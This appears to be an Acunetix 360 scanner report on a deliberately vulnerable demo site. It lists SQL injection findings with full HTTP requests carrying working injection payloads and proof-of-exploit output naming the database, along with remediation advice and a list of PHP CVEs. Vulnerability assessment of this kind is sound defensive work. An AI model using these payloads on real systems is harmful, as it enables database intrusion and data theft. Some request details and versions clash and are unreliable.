DISA STIG Compliance Report
Go to the report on Acunetix 360.

http://testphp.vulnweb.com/login.php

Scan Time: 09/06/2021 04:18 PM
Scan Duration: 00:00:24:35
Description: Test site for Acunetix WVS
Total Requests: 22,070
Average Speed: 15.0 r/s

Risk Level: CRITICAL

Explanation
This report is generated based on DISA STIG classification.
There is a vulnerability that is not shown below. Please take a look at the detailed scan report to see it.

Identified Vulnerabilities
- Critical: 11
- High: 21
- Medium: 4
- Low: 10
- Best Practice: 0
- Information: 0
TOTAL: 46

Confirmed Vulnerabilities
- Critical: 7
- High: 19
- Medium: 0
- Low: 1
- Best Practice: 0
- Information: 0
TOTAL: 27
1. [Probable] SQL Injection

Acunetix 360 identified a Probable SQL Injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Even though Acunetix 360 believes there is a SQL injection in here, it could not confirm it. There can be numerous reasons for Acunetix 360 not being able to confirm this. We strongly recommend investigating the issue manually to ensure it is an SQL injection and that it needs to be addressed. You can also consider sending the details of this issue to us so we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

- Reading, updating and deleting arbitrary data/tables from the database.
- Executing commands on the underlying operating system.

Vulnerabilities


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>artist</td>
<td>%27</td>
</tr>
</tbody>
</table>

Certainty

Request

GET /listproducts.php?artist=%2527 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:27:47 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLIsLocked="false" --
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
</head>
<body>
</body>
</html>
The Issue was detected during the Scan. System 6/9/2021 1:27:47 PM

The Issue was detected during the Scan. The State was set to Present. System 5/6/2021 8:18:31 AM


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>cat</td>
<td>%27</td>
</tr>
</tbody>
</table>

Certainty

Request

GET /listproducts.php?cat=%2527 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/categories.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.36 Safari/537.36
X-Scanner: Acunetix 360
Response

Response Time (ms) : 183.1946  Total Bytes Received : 220  Body Length : 0  Is Compressed : No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:23:48 GMT

<!DOCTYPE HTML PUBLIC "-/W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
  <!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLIsLocked="false" -->
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
    <!-- InstanceBeginEditable name="document_title_rgn" -->
    <title>pictures</title>
    <!-- InstanceEndEditable -->
    <link rel="stylesheet" href="style.css" type="text/css">
    <!-- InstanceBeginEditable name="headers_rgn" -->
    <!-- InstanceEndEditable -->
    <script language="JavaScript" type="text/JavaScript">
      //reloads the window if Nav4 resized
      function MM_reloadPage(init) {
        if (init==true) with (navigator) { if ((appName=="Netscape")&&(!parseInt(appVersion)==4)) {
          document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }
        }
        else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
      }
      MM_reloadPage(true);
      //-->
    </script>
  </head>
  <body>
    <div id="mainLayer" style="position:absolute; width:700px; z-index:1">
      <div id="masthead">
        <h1 id="siteName"><a href="https://www.acunetix.com/">Acunetix website security</a></h1>
        <h6 id="siteInfo">TEST and Demonstration site for<a href="https://www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a></h6>
        <div id="globalNav">
          <table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="left">
            <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists</a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> | <a href="guestbook.php">guestbook</a> | <a href="AJAX/index.php">..."
History

Message | Owner | Date
--- | --- | ---
The Issue was detected during the **Scan**. | System | 6/9/2021 1:23:49 PM

The Issue was detected during the **Scan**, The State was set to ![Present](http://testphp.vulnweb.com/secured/newuser.php)

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td><code>upass2</code></td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td><code>urname</code></td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td><code>signup</code></td>
<td><code>signup</code></td>
</tr>
<tr>
<td>POST</td>
<td><code>uuname</code></td>
<td><code>'%2BNSTW%2B'</code></td>
</tr>
<tr>
<td>POST</td>
<td><code>upass</code></td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td><code>uaddress</code></td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td><code>ucc</code></td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td><code>uemail</code></td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td><code>uphone</code></td>
<td></td>
</tr>
</tbody>
</table>

Certainty
Request

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 88
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
X-Scanner: Acunetix 360

upass2=&urname=&signup=signup&uname=%2BNSFTW%2B&upass=&uaddress=&ucc=&uemail=&uphone=

Response

Response Time (ms): 180.0947  Total Bytes Received: 220  Body Length: 0  Is Compressed: No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/7.4.13-1+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:25:56 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>add new user</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="masthead">
<h1 id="siteName">ACUNETIX ART</h1>
</div>
<div id="content">
Unable to access user database: Unknown column 'NSFTW' in 'where clause'
</div>
</body>
</html>

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:25:56 PM</td>
</tr>
</tbody>
</table>
Actions to Take

1. See the remedy for solution.
2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL injection based problems.
3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. *(If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)*
4. Monitor and review weblogs and application logs to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries *(prepared statements)*. Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.

External References

- [OWASP SQL injection](#)
- [SQL Injection Cheat Sheet](#)
- [SQL Injection Vulnerability](#)

Remedy References

- [SQL injection Prevention Cheat Sheet](#)
- [A guide to preventing SQL injection](#)
### CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

### CVSS 3.1 SCORE

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>10 (Critical)</td>
</tr>
<tr>
<td>Temporal</td>
<td>10 (Critical)</td>
</tr>
<tr>
<td>Environmental</td>
<td>10 (Critical)</td>
</tr>
</tbody>
</table>

### CVSS Vector String

2. Boolean Based SQL Injection

Acunetix 360 identified a Boolean-Based SQL Injection, which occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Acunetix 360 confirmed the vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed Acunetix 360 to identify and confirm the SQL injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

- Reading, updating and deleting arbitrary data/tables from the database
- Executing commands on the underlying operating system

Vulnerabilities


Confirmed

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>artist</td>
<td>1 OR 17-7=10</td>
</tr>
</tbody>
</table>

Proof of Exploit

Identified Database Name (cached)

acuart

Identified Database User (cached)

acuart@localhost
Identified Database Version (cached)

8.0.22-ubuntu18.04.2

Request

GET /artists.php?artist=1%20OR%2017-7%3d10 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng,*/*;q=0.8
Accept-Language: en-us, en; q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.86 Safari/537.36
X-Scanner: Acunetix 360
The Issue was detected during the Scan. The State was set to Present.

![CONFIRMED image]


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>artist</td>
<td>1 OR 17-7=10</td>
</tr>
</tbody>
</table>

**Proof of Exploit**

**Identified Database Name (cached)**

acuart

**Identified Database User (cached)**

acuart@localhost

**Identified Database Version (cached)**

8.0.22-0ubuntu0.20.04.2
Request

GET /listproducts.php?artist=1 OR 2017-73d10 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test@test
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
## History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:44:14 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:35:28 AM</td>
</tr>
</tbody>
</table>

### Proof of Exploit

**2.3. http://testphp.vulnweb.com/listproducts.php?cat=1%20OR%2017-7%3d10**

**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>✨ cat</td>
<td>1 OR 17-7=10</td>
</tr>
</tbody>
</table>

**Identified Database Name (cached)**

acuart

**Identified Database User (cached)**

acuart@localhost

**Identified Database Version (cached)**

8.0.22-0ubuntu0.20.04.2
Request
GET /listproducts.php?cat=1%20OR%2017-7%3d10 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/categories.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:44:14 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:35:27 AM</td>
</tr>
</tbody>
</table>


CONFIRMED

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>pic</td>
<td>1 OR 17-7=10</td>
</tr>
</tbody>
</table>

Proof of Exploit

Identified Database Name (cached)

acuart

Identified Database User (cached)

acuart@localhost

Identified Database Version (cached)

8.0.22-0ubuntu0.20.04.2
Request

GET /product.php?pic=1%20OR%2017-7%3d10 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
Response

Response Time (ms) : 190.0768 
Total Bytes Received : 220 
Body Length : 0 
Is Compressed : No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:26:57 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<!-- InstanceBeginEditable name="document_title_rgn" -->
title>picture details</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<script language="javascript1.2">
function popUpWindow(URLStr, left, top, width, height)
{
    window.open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbar=no,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+left+', top='+top+',screenX='+left+',screenY='+top+');
}
<!--
</script>
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
function MM_reloadPage(init) {
    //reloads the window if Nav4 resized
    if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
        document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }
    else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
    }
    MM_reloadPage(true);
    //-->
</script>
</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
<h1 id="siteName"><a href=https://www.acunetix.com/><img src=images/logo.gif" width="306" height="38" border="0" alt="Acunetix website security"></a></h1>
<h6 id="siteInfo">TEST and Demonstration site for <a href=/>Acunetix Web Vulnerability Scanner</a></h6>
</div>
</div>
</body>
</html>
History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:44:14 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:35:28 AM</td>
</tr>
</tbody>
</table>


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>upass2</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>signup</td>
<td>signup</td>
</tr>
<tr>
<td>POST</td>
<td>uuname</td>
<td>-1' OR 1=1 OR 'ns'='ns</td>
</tr>
<tr>
<td>POST</td>
<td>upass</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uaddress</td>
<td>3</td>
</tr>
<tr>
<td>POST</td>
<td>ucc</td>
<td>4916613944329494</td>
</tr>
<tr>
<td>POST</td>
<td>uemail</td>
<td><a href="mailto:invicti@example.com">invicti@example.com</a></td>
</tr>
<tr>
<td>POST</td>
<td>uphone</td>
<td>3</td>
</tr>
</tbody>
</table>

Proof of Exploit

Identified Database Name (cached)

```
acuart
```
Identified Database User (cached)

acuart@localhost

Identified Database Version (cached)

8.0.22-0ubuntu0.20.04.2

Request

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 173
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3944.78 Safari/537.36
X-Scanner: Acunetix 360

upass2=Inv1%40cti&urname=Smith&signup=signup&uuname=-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns&upass=Inv1%40cti&uaddress=3&ucc=4916613944329494&uemail=invicti%40example.com&uphone=3
<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>uname</td>
<td>-1' OR 1=1 OR 'ns'='ns</td>
</tr>
</tbody>
</table>

**Proof of Exploit**

**Identified Database Name (cached)**

acuart

**Identified Database User (cached)**

acuart@localhost

**Identified Database Version (cached)**

8.0.22-0ubuntu0.20.04.2

**Request**

POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

pass=Inv1%40cti&uname=-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns
HTTP/1.1 200 OK
Set-Cookie: login=test%2Ftest
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:23:39 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBeginEditable name="document_title_rgn" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>user info</title>
<link rel="stylesheet" href="style.css" type="text/css">
<script language="JavaScript" type="text/JavaScript">
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&((parseInt(appVersion)==4))) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
<!---->
</script>
</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
<h1 id="siteName"><a href=https://www.acunetix.com/><img src=images/logo.gif width="306" height="38" border="0" alt="Acunetix website security"></a></h1>
<h6 id="siteInfo">TEST and Demonstration site for <a href=https://www.acunetix.com/vulnerability-scanner/>Acunetix Web Vulnerability Scanner</a></h6>
<div id="globalNav">
<table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="left">
<a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists</a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> <a href="index.php">...</a>
</td></tr></table>
</div>
</div>
</body>
</html>
History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:44:14 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:35:28 AM</td>
</tr>
</tbody>
</table>

---


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>pass</td>
<td><code>-1' OR 1=1 OR 'ns'='ns</code></td>
</tr>
<tr>
<td>POST</td>
<td>uname</td>
<td>Smith</td>
</tr>
</tbody>
</table>

Proof of Exploit

**Identified Database Name**

acuart

**Identified Database User**

acuart@localhost

**Identified Database Version**

8.0.22-0ubuntu0.20.04.2
Request

POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

pass=-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns&uname=Smith
Actions to Take

1. See the remedy for solution.
2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.

Remedy

The best way to protect your code against SQL injections is using parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

- OWASP SQL injection
- SQL Injection Cheat Sheet
- SQL Injection Vulnerability

Remedy References

- SQL injection Prevention Cheat Sheet
- A guide to preventing SQL injection

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present</td>
<td>System</td>
<td>6/9/2021 1:44:14 PM</td>
</tr>
</tbody>
</table>

CLASSIFICATION

DISA STIG

CVSS 3.0 SCORE

<table>
<thead>
<tr>
<th></th>
<th>10 (Critical)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td></td>
</tr>
<tr>
<td>Temporal</td>
<td></td>
</tr>
</tbody>
</table>
### CVSS 3.0 Score

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Environmental</td>
<td>10 (Critical)</td>
</tr>
</tbody>
</table>

### CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

### CVSS 3.1 Score

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>10 (Critical)</td>
</tr>
<tr>
<td>Temporal</td>
<td>10 (Critical)</td>
</tr>
<tr>
<td>Environmental</td>
<td>10 (Critical)</td>
</tr>
</tbody>
</table>

### CVSS Vector String

3. Out-of-date Version (PHP)

Acunetix 360 identified you are using an out-of-date version of PHP.

Impact
Since this is an old version of the software, it may be vulnerable to attacks.

1 PHP Other Vulnerability
Double free vulnerability in the format printer in PHP 7.x before 7.0.1 allows remote attackers to have an unspecified impact by triggering an error.

Affected Versions
5.3.0 to 7.0.0

External References
• CVE-2015-8880

Exploits

PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability
An issue was discovered in the EXIF component in PHP before 7.1.27, 7.2.x before 7.2.16, and 7.3.x before 7.3.3. There is an uninitialized read in exif_process_IFD_in_TIFF.

Affected Versions
5.3.0 to 7.0.0

External References
• CVE-2019-9641

Exploits

PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability
The SplObjectStorage unserialize implementation in ext/spl/spl_observer.c in PHP before 7.0.12 does not verify that a key is an object, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access) via crafted serialized data.

Affected Versions
5.3.0 to 7.0.0

External References
• CVE-2016-7480

Exploits

PHP Improper Input Validation Vulnerability
The zend_string_extend function in Zend/zend_string.h in PHP through 7.1.5 does not prevent changes to string objects that result in a negative length, which allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact by leveraging a script’s use of .= with a long string.
Affected Versions
5.3.0 to 7.0.0

External References
- CVE-2017-8923

Exploits

1. **PHP Numeric Errors Vulnerability**

Integer overflow in the xml_utf8_encode function in ext/xml/xml.c in PHP before 7.0.4 allows remote attackers to cause a denial of service or possibly have unspecified other impact via a long argument to the utf8_encode function, leading to a heap-based buffer overflow.

Affected Versions
5.3.0 to 7.0.0

External References
- CVE-2016-4344

Exploits

1. **PHP Numeric Errors Vulnerability**

Integer overflow in the php_filter_encode_url function in ext/filter/sanitizing_filters.c in PHP before 7.0.4 allows remote attackers to cause a denial of service or possibly have unspecified other impact via a long string, leading to a heap-based buffer overflow.

Affected Versions
5.3.0 to 7.0.0

External References
- CVE-2016-4345

Exploits

1. **PHP Numeric Errors Vulnerability**

Integer overflow in the str_pad function in ext/standard/string.c in PHP before 7.0.4 allows remote attackers to cause a denial of service or possibly have unspecified other impact via a long string, leading to a heap-based buffer overflow.

Affected Versions
5.3.0 to 7.0.0

External References
- CVE-2016-4346

Exploits

1. **PHP Integer Overflow or Wraparound Vulnerability**

Multiple integer overflows in php_zip.c in the zip extension in PHP before 7.0.6 allow remote attackers to cause a denial of service (heap-based buffer overflow and application crash) or possibly have unspecified other impact via a crafted call to (1) getFromIndex or (2) getFromName in the ZipArchive class.

Affected Versions
5.3.0 to 7.0.0
External References
- CVE-2016-3078

Exploits
- PHP NULL Pointer Dereference Vulnerability
  ext/standard/var.c in PHP 5.x through 7.1.24 on Windows allows attackers to cause a denial of service (NULL pointer dereference and application crash) because com and com_safearray_proxy return NULL in com_properties_get in ext/com_dotnet/com_handlers.c, as demonstrated by a serialize call on COM("WScript.Shell").

Affected Versions
5.0.0 to 7.0.0

External References
- CVE-2018-19395

Exploits
- PHP Deserialization of Untrusted Data Vulnerability
  ext/standard/var_unserializer.c in PHP 5.x through 7.1.24 allows attackers to cause a denial of service (application crash) via an unserialize call for the com, dotnet, or variant class.

Affected Versions
5.0.0 to 7.0.0

External References
- CVE-2018-19396

Exploits
- PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability
  An issue was discovered in the EXIF component in PHP before 7.1.27, 7.2.x before 7.2.16, and 7.3.x before 7.3.3. There is an uninitialized read in exif_process_IFD_in_MAKERNOTE because of mishandling the maker_note->offset relationship to value_len.

Affected Versions
5.0.0 to 7.0.0

External References
- CVE-2019-9638

Exploits
- PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability
  An issue was discovered in the EXIF component in PHP before 7.1.27, 7.2.x before 7.2.16, and 7.3.x before 7.3.3. There is an uninitialized read in exif_process_IFD_in_MAKERNOTE because of mishandling the data_len variable.

Affected Versions
5.0.0 to 7.0.0

External References
- CVE-2019-9639
Exploits

** PHP Permissions, Privileges, and Access Controls Vulnerability

An issue was discovered in PHP before 7.1.27, 7.2.x before 7.2.16, and 7.3.x before 7.3.3. Due to the way rename() across filesystems is implemented, it is possible that file being renamed is briefly available with wrong permissions while the rename is ongoing, thus enabling unauthorized users to access the data.

